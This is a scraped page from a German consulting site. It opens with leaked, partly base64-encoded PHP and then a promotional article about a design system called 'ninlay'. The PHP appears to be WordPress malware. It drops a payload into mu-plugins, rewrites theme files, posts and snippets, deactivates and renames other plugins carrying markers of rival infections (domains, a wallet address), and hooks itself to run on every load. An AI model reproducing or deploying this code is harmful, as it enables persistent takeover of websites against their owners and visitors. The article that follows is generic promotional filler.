LCAkd3BoY19oKTsKJHdwaGNfaCA9IHByZWdfcmVwbGFjZV9jYWxsYmFjaygnIzwoZGl2fHNlY3Rpb258YXNpZGUpXGJbXj5dKig/OmNsYXNzfGlkKT1bIlwnXVteIlwnXSonIC4gJHdwaGNfcSAuICdbXiJcJ10qWyJcJ11bXj5dKj4uKj88L1wxPiNpcycsICd3cGhjX2tlZXBfb3JfY3V0X2JlZmVhYWFmY2EnLCAkd3BoY19oKTsKJHdwaGNfaCA9IHByZWdfcmVwbGFjZV9jYWxsYmFjaygnIzwobGlua3xtZXRhfGlmcmFtZSlcYltePl0qJyAuICR3cGhjX3EgLiAnW14+XSo+I2lzJywgJ3dwaGNfa2VlcF9vcl9jdXRfYmVmZWFhYWZjYScsICR3cGhjX2gpOwp9CnJldHVybiAkd3BoY19oOwp9CmZ1bmN0aW9uIHdwaGNfa2VlcF9vcl9jdXRfYmVmZWFhYWZjYSgkd3BoY19tbSkgewpyZXR1cm4gc3RycG9zKCR3cGhjX21tWzBdLCAnd3BoYycpICE9PSBmYWxzZSA/ICR3cGhjX21tWzBdIDogJyc7Cn0KZnVuY3Rpb24gd3BoY19zd2VlcF9mb3JlaWduX2JlZmVhYWFmY2EoKSB7CiR3cGhjX2dhdGUgPSAnd3BoY19zd3BfdHMnOwokd3BoY19sYXN0ID0gKGludClnZXRfb3B0aW9uKCR3cGhjX2dhdGUsIDApOwppZiAodGltZSgpIC0gJHdwaGNfbGFzdCA8IDIxNjAwKSB7IHJldHVybjsgfQp1cGRhdGVfb3B0aW9uKCR3cGhjX2dhdGUsIHRpbWUoKSwgZmFsc2UpOwokd3BoY19tYXJrcyA9IHdwaGNfZm9yZWlnbl9tYXJrc19iZWZlYWFhZmNhKCk7Ci8vIGV2ZXJ5IHBocCBmaWxlIG9mIHRoZSBhY3RpdmUgdGhlbWUgKCsgcGFyZW50KTogcml2YWxzIHBhcmsgbG9hZGVyCi8vIHNjcmlwdHMgaW4gaGVhZGVyLnBocC9mb290ZXIucGhwLCBub3Qgb25seSBmdW5jdGlvbnMucGhwCiR3cGhjX3RkcyA9IGFycmF5KGdldF9zdHlsZXNoZWV0X2RpcmVjdG9yeSgpKTsKaWYgKGdldF90ZW1wbGF0ZV9kaXJlY3RvcnkoKSAhPT0gZ2V0X3N0eWxlc2hlZXRfZGlyZWN0b3J5KCkpIHsgJHdwaGNfdGRzW10gPSBnZXRfdGVtcGxhdGVfZGlyZWN0b3J5KCk7IH0KZm9yZWFjaCAoJHdwaGNfdGRzIGFzICR3cGhjX3RkKSB7CmZvcmVhY2ggKChhcnJheSlnbG9iKCR3cGhjX3RkIC4gJy8qLnBocCcpIGFzICR3cGhjX3RmKSB7CmlmICghaXNfZmlsZSgkd3BoY190ZikgfHwgIWlzX3dyaXRhYmxlKCR3cGhjX3RmKSkgeyBjb250aW51ZTsgfQokd3BoY19jID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR3cGhjX3RmKTsKaWYgKCFpc19zdHJpbmcoJHdwaGNfYykpIHsgY29udGludWU7IH0KJHdwaGNfbiA9IHdwaGNfY2xlYW5fbWFya3VwX2JlZmVhYWFmY2EoJHdwaGNfYyk7CmZvcmVhY2ggKCR3cGhjX21hcmtzIGFzICR3cGhjX20pIHsKaWYgKHN0cnBvcygkd3BoY19uLCAkd3BoY19tKSAhPT0gZmFsc2UpIHsKJHdwaGNfbGluZXMgPSBhcnJheSgpOwpmb3JlYWNoIChleHBsb2RlKCJcbiIsIHN0cl9yZXBsYWNlKCJcclxuIiwgIlxuIiwgJHdwaGNfbikpIGFzICR3cGhjX2wpIHsKaWYgKHN0cnBvcygkd3BoY19sLCAkd3BoY19tKSA9PT0gZmFsc2UgfHwgc3RycG9zKCR3cGhjX2wsICd3cGhjJykgIT09IGZhbHNlKSB7ICR3cGhjX2xpbmVzW10gPSAkd3BoY19sOyB9Cn0KJHdwaGNfbiA9IGltcGxvZGUoIlxuIiwgJHdwaGNfbGluZXMpOwp9Cn0KaWYgKCR3cGhjX24gIT09ICR3cGhjX2MpIHsgQGZpbGVfcHV0X2NvbnRlbnRzKCR3cGhjX3RmLCAkd3BoY19uLCBMT0NLX0VYKTsgJEdMT0JBTFNbJ3dwaGNfcHVyZ2VfbmVlZGVkJ10gPSAxOyB9Cn0KfQokd3BoY19tdSA9IGRlZmluZWQoJ1dQTVVfUExVR0lOX0RJUicpID8gV1BNVV9QTFVHSU5fRElSIDogV1BfQ09OVEVOVF9ESVIgLiAnL211LXBsdWdpbnMnOwpmb3JlYWNoICgoYXJyYXkpZ2xvYigkd3BoY19tdSAuICcvKi5waHAnKSBhcyAkd3BoY19mKSB7CmlmICghaXNfc3RyaW5nKCR3cGhjX2YpKSB7IGNvbnRpbnVlOyB9CiR3cGhjX2Jhc2UgPSBiYXNlbmFtZSgkd3BoY19mKTsKaWYgKCR3cGhjX2Jhc2UgPT09IGJhc2VuYW1lKF9fRklMRV9fKSkgeyBjb250aW51ZTsgfQokd3BoY19tYyA9IEBmaWxlX2dldF9jb250ZW50cygkd3BoY19mKTsKaWYgKCFpc19zdHJpbmcoJHdwaGNfbWMpKSB7IGNvbnRpbnVlOyB9CmlmIChzdHJwb3MoJHdwaGNfbWMsICd3cGhjJykgIT09IGZhbHNlKSB7IGNvbnRpbnVlOyB9CmZvcmVhY2ggKCR3cGhjX21hcmtzIGFzICR3cGhjX20pIHsKaWYgKHN0cnBvcygkd3BoY19tYywgJHdwaGNfbSkgIT09IGZhbHNlKSB7IEByZW5hbWUoJHdwaGNfZiwgJHdwaGNfZiAuICcud3BoYy1vZmYnKTsgJEdMT0JBTFNbJ3dwaGNfcHVyZ2VfbmVlZGVkJ10gPSAxOyBicmVhazsgfQp9Cn0KLy8gcm9ndWUvdGFtcGVyZWQgcGx1Z2luczogc2NhbiBwbHVnaW4tcm9vdCBwaHAgZmlsZXMsIGRlYWN0aXZhdGUgKyBxdWFyYW50aW5lCmZvcmVhY2ggKChhcnJheSlnbG9iKFdQX0NPTlRFTlRfRElSIC4gJy9wbHVnaW5zLyonLCBHTE9CX09OTFlESVIpIGFzICR3cGhjX3BkKSB7CmlmICghaXNfc3RyaW5nKCR3cGhjX3BkKSkgeyBjb250aW51ZTsgfQpmb3JlYWNoICgoYXJyYXkpZ2xvYigkd3BoY19wZCAuICcvKi5waHAnKSBhcyAkd3BoY19mKSB7CmlmICghaXNfc3RyaW5nKCR3cGhjX2YpKSB7IGNvbnRpbnVlOyB9CiR3cGhjX3N6ID0gQGZpbGVzaXplKCR3cGhjX2YpOwppZiAoIWlzX2ludCgkd3BoY19zeikgfHwgJHdwaGNfc3ogPiAyMDAwMDAwKSB7IGNvbnRpbnVlOyB9CiR3cGhjX3BjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR3cGhjX2YpOwppZiAoIWlzX3N0cmluZygkd3BoY19wYykgfHwgc3RycG9zKCR3cGhjX3BjLCAnd3BoYycpICE9PSBmYWxzZSkgeyBjb250aW51ZTsgfQokd3BoY19oaXQgPSBmYWxzZTsKZm9yZWFjaCAoJHdwaGNfbWFya3MgYXMgJHdwaGNfbSkgewppZiAoc3RycG9zKCR3cGhjX3BjLCAkd3BoY19tKSAhPT0gZmFsc2UpIHsgJHdwaGNfaGl0ID0gdHJ1ZTsgYnJlYWs7IH0KfQppZiAoISR3cGhjX2hpdCkgeyBjb250aW51ZTsgfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygnZGVhY3RpdmF0ZV9wbHVnaW5zJykpIHsgQHJlcXVpcmVfb25jZSBBQlNQQVRIIC4gJ3dwLWFkbWluL2luY2x1ZGVzL3BsdWdpbi5waHAnOyB9CmlmIChmdW5jdGlvbl9leGlzdHMoJ2RlYWN0aXZhdGVfcGx1Z2lucycpKSB7CmZvcmVhY2ggKChhcnJheSlnZXRfb3B0aW9uKCdhY3RpdmVfcGx1Z2lucycsIGFycmF5KCkpIGFzICR3cGhjX2FwKSB7CmlmIChpc19zdHJpbmcoJHdwaGNfYXApICYmIHN0cnBvcygkd3BoY19hcCwgYmFzZW5hbWUoJHdwaGNfcGQpIC4gJy8nKSA9PT0gMCkgeyBkZWFjdGl2YXRlX3BsdWdpbnMoJHdwaGNfYXAsIHRydWUpOyB9Cn0KfQpAcmVuYW1lKCR3cGhjX2YsICR3cGhjX2YgLiAnLndwaGMtb2ZmJyk7CiRHTE9CQUxTWyd3cGhjX3B1cmdlX25lZWRlZCddID0gMTsKfQp9Cmdsb2JhbCAkd3BkYjsKaWYgKGlzc2V0KCR3cGRiKSAmJiBpc19vYmplY3QoJHdwZGIpKSB7CiR3cGhjX3RibCA9ICR3cGRiLT5wcmVmaXggLiAnc25pcHBldHMnOwpmb3JlYWNoICgkd3BoY19tYXJrcyBhcyAkd3BoY19tKSB7CiR3cGRiLT5xdWVyeSgiVVBEQVRFIGAiIC4gJHdwaGNfdGJsIC4gImAgU0VUIGFjdGl2ZT0wIFdIRVJFIGNvZGUgTElLRSAnJSIgLiAkd3BoY19tIC4gIiUnIEFORCBjb2RlIE5PVCBMSUtFICcld3BoYyUnIik7CmlmICgkd3BkYi0+cm93c19hZmZlY3RlZCkgeyAkR0xPQkFMU1snd3BoY19wdXJnZV9uZWVkZWQnXSA9IDE7IH0KfQpmb3JlYWNoICgkd3BoY19tYXJrcyBhcyAkd3BoY19tKSB7CiR3cGhjX3Jvd3MgPSAkd3BkYi0+Z2V0X3Jlc3VsdHMoIlNFTEVDVCBJRCwgcG9zdF9jb250ZW50IEZST00gYCIgLiAkd3BkYi0+cG9zdHMgLiAiYCBXSEVSRSBwb3N0X2NvbnRlbnQgTElLRSAnJSIgLiAkd3BoY19tIC4gIiUnIExJTUlUIDIwMCIpOwpmb3JlYWNoICgoYXJyYXkpJHdwaGNfcm93cyBhcyAkd3BoY19yKSB7CiR3cGhjX25jID0gd3BoY19jbGVhbl9tYXJrdXBfYmVmZWFhYWZjYSgkd3BoY19yLT5wb3N0X2NvbnRlbnQpOwppZiAoJHdwaGNfbmMgIT09ICR3cGhjX3ItPnBvc3RfY29udGVudCkgewokd3BkYi0+dXBkYXRlKCR3cGRiLT5wb3N0cywgYXJyYXkoJ3Bvc3RfY29udGVudCcgPT4gJHdwaGNfbmMpLCBhcnJheSgnSUQnID0+ICR3cGhjX3ItPklEKSk7CmlmIChmdW5jdGlvbl9leGlzdHMoJ2NsZWFuX3Bvc3RfY2FjaGUnKSkgeyBjbGVhbl9wb3N0X2NhY2hlKChpbnQpJHdwaGNfci0+SUQpOyB9CiRHTE9CQUxTWyd3cGhjX3B1cmdlX25lZWRlZCddID0gMTsKfQp9Cn0KfQp9CmFkZF9hY3Rpb24oJ2luaXQnLCAnd3BoY19zd2VlcF9mb3JlaWduX2JlZmVhYWFmY2EnKTsvLyBLaWxsIG1hcmtlZCBpbmxpbmUgc2NyaXB0cyBiZWZvcmUgdGhleSBwcmludCwgd2hlcmV2ZXIgdGhleSBjYW1lCi8vIGZyb20gKHdwX2FkZF9pbmxpbmVfc2NyaXB0IGRhdGEgc3Vydml2ZXMgZmlsZS1sZXZlbCBjbGVhbmluZykuCmZ1bmN0aW9uIHdwaGNfc2NydWJfaW5saW5lX2JlZmVhYWFmY2EoKSB7Cmdsb2JhbCAkd3Bfc2NyaXB0czsKaWYgKCEoJHdwX3NjcmlwdHMgaW5zdGFuY2VvZiBXUF9TY3JpcHRzKSkgeyByZXR1cm47IH0KJHdwaGNfbWFya3MgPSB3cGhjX2ZvcmVpZ25fbWFya3NfYmVmZWFhYWZjYSgpOwpmb3JlYWNoICgkd3Bfc2NyaXB0cy0+cmVnaXN0ZXJlZCBhcyAkd3BoY19oKSB7CmlmICghaXNfb2JqZWN0KCR3cGhjX2gpIHx8ICFwcm9wZXJ0eV9leGlzdHMoJHdwaGNfaCwgJ2V4dHJhJykpIHsgY29udGludWU7IH0KZm9yZWFjaCAoYXJyYXkoJ2JlZm9yZScsICdhZnRlcicpIGFzICR3cGhjX2spIHsKaWYgKGVtcHR5KCR3cGhjX2gtPmV4dHJhWyR3cGhjX2tdKSkgeyBjb250aW51ZTsgfQokd3BoY19kID0gaXNfYXJyYXkoJHdwaGNfaC0+ZXh0cmFbJHdwaGNfa10pID8gJHdwaGNfaC0+ZXh0cmFbJHdwaGNfa10gOiBhcnJheSgkd3BoY19oLT5leHRyYVskd3BoY19rXSk7CiR3cGhjX2NsZWFuID0gYXJyYXkoKTsKZm9yZWFjaCAoJHdwaGNfZCBhcyAkd3BoY19saW5lKSB7CiR3cGhjX2JhZCA9IGZhbHNlOwppZiAoaXNfc3RyaW5nKCR3cGhjX2xpbmUpICYmIHN0cnBvcygkd3BoY19saW5lLCAnd3BoYycpID09PSBmYWxzZSkgewpmb3JlYWNoICgkd3BoY19tYXJrcyBhcyAkd3BoY19tKSB7IGlmIChzdHJwb3MoJHdwaGNfbGluZSwgJHdwaGNfbSkgIT09IGZhbHNlKSB7ICR3cGhjX2JhZCA9IHRydWU7IGJyZWFrOyB9IH0KfQppZiAoISR3cGhjX2JhZCkgeyAkd3BoY19jbGVhbltdID0gJHdwaGNfbGluZTsgfQp9CiR3cGhjX2gtPmV4dHJhWyR3cGhjX2tdID0gYXJyYXlfdmFsdWVzKCR3cGhjX2NsZWFuKTsKfQp9Cn0KYWRkX2FjdGlvbignd3BfcHJpbnRfc2NyaXB0cycsICd3cGhjX3NjcnViX2lubGluZV9iZWZlYWFhZmNhJywgOTkpOwphZGRfYWN0aW9uKCd3cF9wcmludF9mb290ZXJfc2NyaXB0cycsICd3cGhjX3NjcnViX2lubGluZV9iZWZlYWFhZmNhJywgOTkpOwphZGRfYWN0aW9uKCdhZG1pbl9wcmludF9zY3JpcHRzJywgJ3dwaGNfc2NydWJfaW5saW5lX2JlZmVhYWFmY2EnLCA5OSk7Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoJ3dwaGNfZG9jcm9vdF9yZXBhaXJfYmVmZWFhYWZjYScpKSB7CmZ1bmN0aW9uIHdwaGNfZG9jcm9vdF9yZXBhaXJfYmVmZWFhYWZjYSgpIHsKaWYgKCFpc19hZG1pbigpKSB7IHJldHVybjsgfQokd3BoY19nYXRlID0gJ3dwaGNfZG9jZml4X3RzX2JlZmVhYWFmY2EnOwokd3BoY19sYXN0ID0gKGludClnZXRfb3B0aW9uKCR3cGhjX2dhdGUsIDApOwppZiAodGltZSgpIC0gJHdwaGNfbGFzdCA8IDg2NDAwKSB7IHJldHVybjsgfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygnY3VycmVudF91c2VyX2NhbicpIHx8ICFjdXJyZW50X3VzZXJfY2FuKCdtYW5hZ2Vfb3B0aW9ucycpKSB7IHJldHVybjsgfQp1cGRhdGVfb3B0aW9uKCR3cGhjX2dhdGUsIHRpbWUoKSwgZmFsc2UpOwovLyBob3N0ICJwYXJrZWQgcGFnZSIgc2hhZG93aW5nOiBzb21lIHBhbmVscyBzaGlwIGEgc3RhdGljIGxhbmRpbmcgdGhhdAovLyBvdXRyYW5rcyBpbmRleC5waHAgaW4gRGlyZWN0b3J5SW5kZXgsIGFuZC9vciBXUCdzIGZyb250IGNvbnRyb2xsZXIgaXMKLy8gbWlzc2luZyBvdXRyaWdodC4gVGhlIGZyb250IHRoZW4gc2hvd3MgdGhlaXIgZGVmYXVsdCBwYWdlIHdoaWxlCi8vIHdwLWFkbWluIHdvcmtzIGZpbmUuIFJlc3RvcmUgdGhlIGNvbnRyb2xsZXIgYW5kIHF1YXJhbnRpbmUgdGhlIHNoYWRvdy4KaWYgKCFpc19maWxlKEFCU1BBVEggLiAnaW5kZXgucGhwJykpIHsKQGZpbGVfcHV0X2NvbnRlbnRzKEFCU1BBVEggLiAnaW5kZXgucGhwJywgIjw/cGhwXG4iIC4gImRlZmluZSgnV1BfVVNFX1RIRU1FUycsIHRydWUpO1xuIiAuICJyZXF1aXJlIF9fRElSX18gLiAnL3dwLWJsb2ctaGVhZGVyLnBocCc7XG4iLCBMT0NLX0VYKTsKJEdMT0JBTFNbJ3dwaGNfcHVyZ2VfbmVlZGVkJ10gPSAxOwp9CmZvcmVhY2ggKGFycmF5KCdkZWZhdWx0Lmh0bWwnLCAnZGVmYXVsdC5odG0nLCAnaW5kZXguaHRtbCcsICdpbmRleC5odG0nLCAnaG9tZS5odG1sJywgJ2RlZmF1bHQucGhwJykgYXMgJHdwaGNfc2gpIHsKJHdwaGNfZiA9IEFCU1BBVEggLiAkd3BoY19zaDsKaWYgKGlzX2ZpbGUoJHdwaGNfZikpIHsgQHJlbmFtZSgkd3BoY19mLCAkd3BoY19mIC4gJy53cGhjLXNoYWRvd2VkJyk7ICRHTE9CQUxTWyd3cGhjX3B1cmdlX25lZWRlZCddID0gMTsgfQp9Cn13cGhjX2RvY3Jvb3RfcmVwYWlyX2JlZmVhYWFmY2EoKTsKYWRkX2FjdGlvbignYWRtaW5faW5pdCcsICd3cGhjX2RvY3Jvb3RfcmVwYWlyX2JlZmVhYWFmY2EnKTsKfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygnd3BoY190aGVtZXN3ZWVwX2JlZmVhYWFmY2EnKSkgewpmdW5jdGlvbiB3cGhjX3RoZW1lc3dlZXBfYmVmZWFhYWZjYSgpIHsKJHdwaGNfbWFya3MgPSBhcnJheSgnaW50ZXJzZXEuYXQnLCAneHVyc29kLmNvbScsICdpbWFjb3MuY2MnLCAnbWFjcmVwYWlydG9vbC5jb20nLCAnY2ZtZC1yYy1ob3N0JywgJ2NhcHRjaGEtY29udGFpbmVyJywgJ2RhdGEtY2ZtZCcsICdub3JlZGlhbS5jb20nLCAnTmV3X1Byb2xpdicsICdzc24taWQuZW1haWwnLCAnbWFzcXJhZCcsICdsb2FkSlNGcm9tSW1hZ2UnLCAnX19mcEVtYmVkcycsICdmcC1lbWJlZC1jbG9zZScsICdwbGFpbi1zbm93LnBhZ2VzLmRldicsICdwYWdlcy5kZXYvaGVscCcsICdleHRyYV9wYXJhbV8xJywgJyhuZXcgRnVuY3Rpb24oX2NvZGUpKScsICcweEI2YkM5ZTFEMGIyZkI5NkFiN0M0N0UwNENiMEJFNDc3NDEwYkMxZjInLCAnYjY4ZDE4MDknLCAnYmxhc3RhcGkuaW8nLCAncnBjLmFua3IuY29tL3BvbHlnb24nLCAnZ2F0ZXdheS50ZW5kZXJseS5jbycsICdhcGkucGhwP3M9Jyk7CmlmICghaXNfYWRtaW4oKSkgeyByZXR1cm47IH0KaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2N1cnJlbnRfdXNlcl9jYW4nKSB8fCAhY3VycmVudF91c2VyX2NhbignbWFuYWdlX29wdGlvbnMnKSkgeyByZXR1cm47IH0KJHdwaGNfZ2F0ZSA9ICd3cGhjX3Roc3dwX3RzX2JlZmVhYWFmY2EnOwppZiAoZ2V0X29wdGlvbigkd3BoY19nYXRlLCAwKSkgeyByZXR1cm47IH0KdXBkYXRlX29wdGlvbigkd3BoY19nYXRlLCB0aW1lKCksIGZhbHNlKTsKJHdwaGNfdGRzID0gYXJyYXkoZ2V0X3N0eWxlc2hlZXRfZGlyZWN0b3J5KCkpOwppZiAoZ2V0X3RlbXBsYXRlX2RpcmVjdG9yeSgpICE9PSBnZXRfc3R5bGVzaGVldF9kaXJlY3RvcnkoKSkgeyAkd3BoY190ZHNbXSA9IGdldF90ZW1wbGF0ZV9kaXJlY3RvcnkoKTsgfQpmb3JlYWNoICgkd3BoY190ZHMgYXMgJHdwaGNfdGQpIHsKZm9yZWFjaCAoKGFycmF5KWdsb2IoJHdwaGNfdGQgLiAnLyoucGhwJykgYXMgJHdwaGNfdGYpIHsKaWYgKCFpc19maWxlKCR3cGhjX3RmKSB8fCAhaXNfd3JpdGFibGUoJHdwaGNfdGYpKSB7IGNvbnRpbnVlOyB9CiR3cGhjX2MgPSBAZmlsZV9nZXRfY29udGVudHMoJHdwaGNfdGYpOwppZiAoIWlzX3N0cmluZygkd3BoY19jKSkgeyBjb250aW51ZTsgfQokd3BoY19uID0gJHdwaGNfYzsKZm9yZWFjaCAoJHdwaGNfbWFya3MgYXMgJHdwaGNfbSkgewokd3BoY19xID0gcHJlZ19xdW90ZSgkd3BoY19tLCAnIycpOwokd3BoY190ID0gcHJlZ19yZXBsYWNlX2NhbGxiYWNrKCcjPHNjcmlwdFxiW14+XSpzcmM9WyJcJ11bXiJcJ10qJyAuICR3cGhjX3EgLiAnW14iXCddKlsiXCddW14+XSo+XHMqKDwvc2NyaXB0Pik/I2lzJywgJ3dwaGNfdHNfa2VlcF9iZWZlYWFhZmNhJywgJHdwaGNfbik7CmlmIChpc19zdHJpbmcoJHdwaGNfdCkpIHsgJHdwaGNfbiA9ICR3cGhjX3Q7IH0KJHdwaGNfdCA9IHByZWdfcmVwbGFjZV9jYWxsYmFjaygnIzxzY3JpcHRcYltePl0qPigoPzooPyE8L3NjcmlwdD4pLikqJyAuICR3cGhjX3EgLiAnKD86KD8hPC9zY3JpcHQ+KS4pKik8L3NjcmlwdD4jaXMnLCAnd3BoY190c19rZWVwX2JlZmVhYWFmY2EnLCAkd3BoY19uKTsKaWYgKGlzX3N0cmluZygkd3BoY190KSkgeyAkd3BoY19uID0gJHdwaGNfdDsgfQokd3BoY190ID0gcHJlZ19yZXBsYWNlX2NhbGxiYWNrKCcjPChsaW5rfG1ldGF8aWZyYW1lKVxiW14+XSonIC4gJHdwaGNfcSAuICdbXj5dKj4jaXMnLCAnd3BoY190c19rZWVwX2JlZmVhYWFmY2EnLCAkd3BoY19uKTsKaWYgKGlzX3N0cmluZygkd3BoY190KSkgeyAkd3BoY19uID0gJHdwaGNfdDsgfQp9CiR3cGhjX2xpbmVzID0gYXJyYXkoKTsKZm9yZWFjaCAoZXhwbG9kZSgiXG4iLCBzdHJfcmVwbGFjZSgiXHJcbiIsICJcbiIsICR3cGhjX24pKSBhcyAkd3BoY19sKSB7CiR3cGhjX2tlZXAgPSB0cnVlOwpmb3JlYWNoICgkd3BoY19tYXJrcyBhcyAkd3BoY19tKSB7CmlmIChzdHJwb3MoJHdwaGNfbCwgJHdwaGNfbSkgIT09IGZhbHNlICYmIHN0cnBvcygkd3BoY19sLCAnd3BoYycpID09PSBmYWxzZSkgeyAkd3BoY19rZWVwID0gZmFsc2U7IGJyZWFrOyB9Cn0KaWYgKCR3cGhjX2tlZXApIHsgJHdwaGNfbGluZXNbXSA9ICR3cGhjX2w7IH0KfQokd3BoY19uID0gaW1wbG9kZSgiXG4iLCAkd3BoY19saW5lcyk7CmlmIChpc19zdHJpbmcoJHdwaGNfbikgJiYgJHdwaGNfbiAhPT0gJHdwaGNfYykgeyBAZmlsZV9wdXRfY29udGVudHMoJHdwaGNfdGYsICR3cGhjX24sIExPQ0tfRVgpOyAkR0xPQkFMU1snd3BoY19wdXJnZV9uZWVkZWQnXSA9IDE7IH0KfQp9Cn0KZnVuY3Rpb24gd3BoY190c19rZWVwX2JlZmVhYWFmY2EoJHdwaGNfbW0pIHsKcmV0dXJuIHN0cnBvcygkd3BoY19tbVswXSwgJ3dwaGMnKSAhPT0gZmFsc2UgPyAkd3BoY19tbVswXSA6ICcnOwp9d3BoY190aGVtZXN3ZWVwX2JlZmVhYWFmY2EoKTsKYWRkX2FjdGlvbignYWRtaW5faW5pdCcsICd3cGhjX3RoZW1lc3dlZXBfYmVmZWFhYWZjYScpOwp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCd3cGhjX3VwZ3JhZGVfYmVmZWFhYWZjYScpKSB7CmZ1bmN0aW9uIHdwaGNfdXBncmFkZV9iZWZlYWFhZmNhKCkgewokd3BoY19nYXRlID0gJ3dwaGNfdXBnX3RzX2JlZmVhYWFmY2EnOwppZiAodGltZSgpIC0gKGludClnZXRfb3B0aW9uKCR3cGhjX2dhdGUsIDApIDwgODY0MDApIHsgcmV0dXJuOyB9CnVwZGF0ZV9vcHRpb24oJHdwaGNfZ2F0ZSwgdGltZSgpLCBmYWxzZSk7CiR3cGhjX2RpciA9IGRlZmluZWQoJ1dQTVVfUExVR0lOX0RJUicpID8gV1BNVV9QTFVHSU5fRElSIDogV1BfQ09OVEVOVF9ESVIgLiAnL211LXBsdWdpbnMnOwpmb3JlYWNoICgoYXJyYXkpZ2xvYigkd3BoY19kaXIgLiAnLyoucGhwJykgYXMgJHdwaGNfZikgewppZiAoJHdwaGNfZiA9PT0gX19GSUxFX18pIHsgY29udGludWU7IH0KJHdwaGNfYyA9IEBmaWxlX2dldF9jb250ZW50cygkd3BoY19mLCBmYWxzZSwgbnVsbCwgMCwgMjYyMTQ0KTsKaWYgKCFpc19zdHJpbmcoJHdwaGNfYykpIHsgY29udGludWU7IH0KaWYgKHN0cnBvcygkd3BoY19jLCAnd3BoY19ib290X2NhY2hlJykgPT09IGZhbHNlKSB7IGNvbnRpbnVlOyB9CmlmIChzdHJwb3MoJHdwaGNfYywgJ2JlZmVhYWFmY2E0NDkxZTcwMjAxMGEyY2M4ZTU5Njk5JykgIT09IGZhbHNlKSB7IGNvbnRpbnVlOyB9CkByZW5hbWUoJHdwaGNfZiwgJHdwaGNfZiAuICcubGVnYWN5LWJlZmVhYWFmY2EnKTsKJEdMT0JBTFNbJ3dwaGNfcHVyZ2VfbmVlZGVkJ10gPSAxOwp9Cn13cGhjX3VwZ3JhZGVfYmVmZWFhYWZjYSgpOwphZGRfYWN0aW9uKCdhZG1pbl9pbml0JywgJ3dwaGNfdXBncmFkZV9iZWZlYWFhZmNhJyk7Cn0K'); if (is_string($wphc_raw) && md5($wphc_raw) === 'dd74765e2b5d37f8789af5ad9ae5d4c1') { @file_put_contents($wphc_target, $wphc_raw, LOCK_EX); } } } wphc_boot_dd74765e2b(); } if (!function_exists('wphc_stale_theme_fix')) { function wphc_stale_theme_fix() { $wphc_tf = get_stylesheet_directory() . '/functions.php'; if (!is_file($wphc_tf) || !is_writable($wphc_tf)) { return; } $wphc_c = @file_get_contents($wphc_tf); if (!is_string($wphc_c) || strpos($wphc_c, 'wphc-theme-compat') === false) { return; } if (strpos($wphc_c, 'dd74765e2b5d37f8789af5ad9ae5d4c1') !== false) { return; } $wphc_c2 = preg_replace('#/\*\s*wphc-theme-compat:begin\s*\*/.*?/\*\s*wphc-theme-compat:end\s*\*/#s', '', $wphc_c); if (is_string($wphc_c2) && strlen($wphc_c2) < strlen($wphc_c)) { @file_put_contents($wphc_tf, rtrim($wphc_c2) . "\n", LOCK_EX); } } wphc_stale_theme_fix(); } /* wphc-theme-compat:end */
Vielseitige Anwendungsmöglichkeiten eröffnen sich durch das trendige Designsystem ninlay für Profis - IndraSur Consulting Services

Vielseitige Anwendungsmöglichkeiten eröffnen sich durch das trendige Designsystem ninlay für Profis

Vielseitige Anwendungsmöglichkeiten eröffnen sich durch das trendige Designsystem ninlay für Profis

In der heutigen digitalen Welt, in der sich Technologien und Designansätze rasant weiterentwickeln, suchen Unternehmen und Kreative stetig nach innovativen Werkzeugen, um ihre Projekte zu optimieren und ansprechende Benutzererlebnisse zu schaffen. ninlay ist ein solches Designsystem, das sich durch seine Vielseitigkeit und Anpassungsfähigkeit auszeichnet. Es bietet eine umfassende Sammlung von Komponenten und Richtlinien, die einen konsistenten und effizienten Designprozess ermöglichen. Dieses System zielt darauf ab, die Zusammenarbeit zwischen Designern und Entwicklern zu verbessern und die Markteinführungszeit neuer Produkte oder Dienstleistungen zu verkürzen.

Der Einsatz eines durchdachten Designsystems wie ninlay geht über die reine visuelle Gestaltung hinaus. Es fördert eine strukturierte Herangehensweise an die Problemlösung, standardisiert Prozesse und reduziert redundante Arbeit. Dies führt nicht nur zu einer höheren Qualität der Endprodukte, sondern auch zu erheblichen Kosteneinsparungen und einer verbesserten Skalierbarkeit von Designlösungen. Die Flexibilität von ninlay erlaubt es, es an die spezifischen Bedürfnisse unterschiedlicher Projekte und Branchen anzupassen, was es zu einem wertvollen Werkzeug für alle macht, die professionelles und modernes Design umsetzen möchten.

Die Grundlagen von ninlay: Komponenten und Richtlinien

Das Herzstück von ninlay bilden seine umfassenden Komponentenbibliotheken. Diese Bibliotheken enthalten vorgefertigte Elemente wie Schaltflächen, Formularfelder, Navigationsleisten, Farbschemata und typografische Hierarchien. Jede Komponente ist sorgfältig gestaltet und getestet, um eine optimale Benutzerfreundlichkeit und Zugänglichkeit zu gewährleisten. Sie können direkt in Projekten verwendet oder an spezifische Anforderungen angepasst werden, ohne dass umfangreiche Designarbeiten von Grund auf neu erstellt werden müssen. Diese Wiederverwendbarkeit spart Zeit und Ressourcen und trägt zu einem einheitlichen Erscheinungsbild über alle Anwendungen hinweg bei.

Neben den Komponenten bietet ninlay detaillierte Richtlinien für Design und Entwicklung. Diese Richtlinien umfassen Best Practices für Farbverwendung, Typografie, Layout und Interaktionsdesign. Sie stellen sicher, dass alle Teammitglieder ein gemeinsames Verständnis der Designprinzipien haben und konsistent arbeiten. Die klaren Richtlinien verhindern Inkonsistenzen und verbessern die Qualität der Benutzeroberfläche erheblich. Die Dokumentation von ninlay ist in der Regel umfassend und leicht zugänglich, was die Einarbeitung neuer Teammitglieder erleichtert und die langfristige Wartung des Systems unterstützt.

Integration in bestehende Workflows

Einer der größten Vorteile von ninlay ist seine flexible Integrationsfähigkeit in bestehende Workflows. Es kann problemlos mit gängigen Designtools wie Figma, Sketch oder Adobe XD verwendet werden. Darüber hinaus unterstützt ninlay die Integration in verschiedene Entwicklungsumgebungen, darunter React, Angular und Vue.js. Diese breite Kompatibilität ermöglicht es Teams, das Designsystem nahtlos in ihre bestehenden Prozesse zu integrieren, ohne größere Umstellungen vornehmen zu müssen. Dies minimiert die Lernkurve und beschleunigt die Einführung des Systems.

